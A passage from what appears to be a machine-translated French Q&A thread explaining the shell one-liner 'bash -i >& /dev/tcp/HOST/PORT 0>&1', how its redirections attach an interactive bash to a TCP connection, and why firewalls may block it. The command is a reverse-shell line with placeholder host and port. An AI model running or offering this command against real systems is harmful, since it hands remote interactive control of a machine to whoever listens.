Signification de bash -i> & / dev / tcp / HOST / PORT 0> & 1?

15

j'ai essayé

bash -i >& /dev/tcp/HOST/PORT 0>&1

mais il ne semble pas fonctionner derrière les pare-feu. Que fait réellement ce code, quels ports sont transmis et pourrait-il fonctionner derrière des pare-feu?

Helos
la source

Réponses:

17

Cet extrait de code exécute une nouvelle instance interactive de bash ( bash -i), sur une connexion TCP au port spécifié sur l'hôte spécifié qui est créé pour la durée du processus bash. La sortie standard et l'erreur standard sont envoyées via cette connexion ( >& /dev/tcp/HOST/PORT), et l'entrée standard est lue via cette connexion ( 0>&1- cela devrait être 0<&1mais 0>&1fonctionne aussi).

Il n'y a aucune redirection de port en cours. De toute évidence, un serveur TCP quelconque doit écouter et accepter les connexions sur cet HÔTE: PORT, et le pare-feu doit laisser passer la connexion.

Gilles 'SO- arrête d'être méchant'
la source
Quelle connexion est '/ dev / tcp / HOST / PORT' Où l'hôte est-il défini et où le port est-il défini?
Helos
2
@Helos Avez-vous vu littéralement /dev/tcp/HOST/PORT? J'ai supposé que vous aviez remplacé un nom par HOSTet un nombre par PORT. Sinon, vous obtiendrez un message d'erreur de bash. Puisque vous n'avez mentionné aucun message d'erreur, je suppose que vous n'en avez pas vu.
Gilles 'SO- arrête d'être méchant'
1
@ Gilles, je ne peux pas digérer la 0<&1pièce. Je l'ai lu comme «prenez bash stdout ( &1) et canalisez-le dans bash stdin ( 0)», ce qui est logique. Pouvez-vous expliquer comment cette partie fonctionne?
golem
5
@golem Il s'agit d'une redirection. Aucun tuyau n'est impliqué. 0<&1signifie connecter tout ce qui est actuellement ouvert sur le descripteur de fichier 1 au descripteur de fichier 0. Puisque la redirection précédente >& /dev/tcp/HOST/PORTconnectait fd 1 (la valeur par défaut pour une redirection de sortie) à /dev/tcp/HOST/PORT, c'est- à -dire, a ouvert un socket TCP, cela duplique la connexion TCP au descripteur de fichier 0 (c'est-à-dire le le même socket est maintenant également ouvert sur fd 0, ce qui est différent de 0 </ dev / tcp / HOST / PORT qui ouvrirait un socket différent sur le même serveur).
Gilles 'SO- arrête d'être méchant'
La connexion était un mot clé pour ma compréhension; appeler la tuyauterie de processus était en effet ce qui m'a confondu.
golem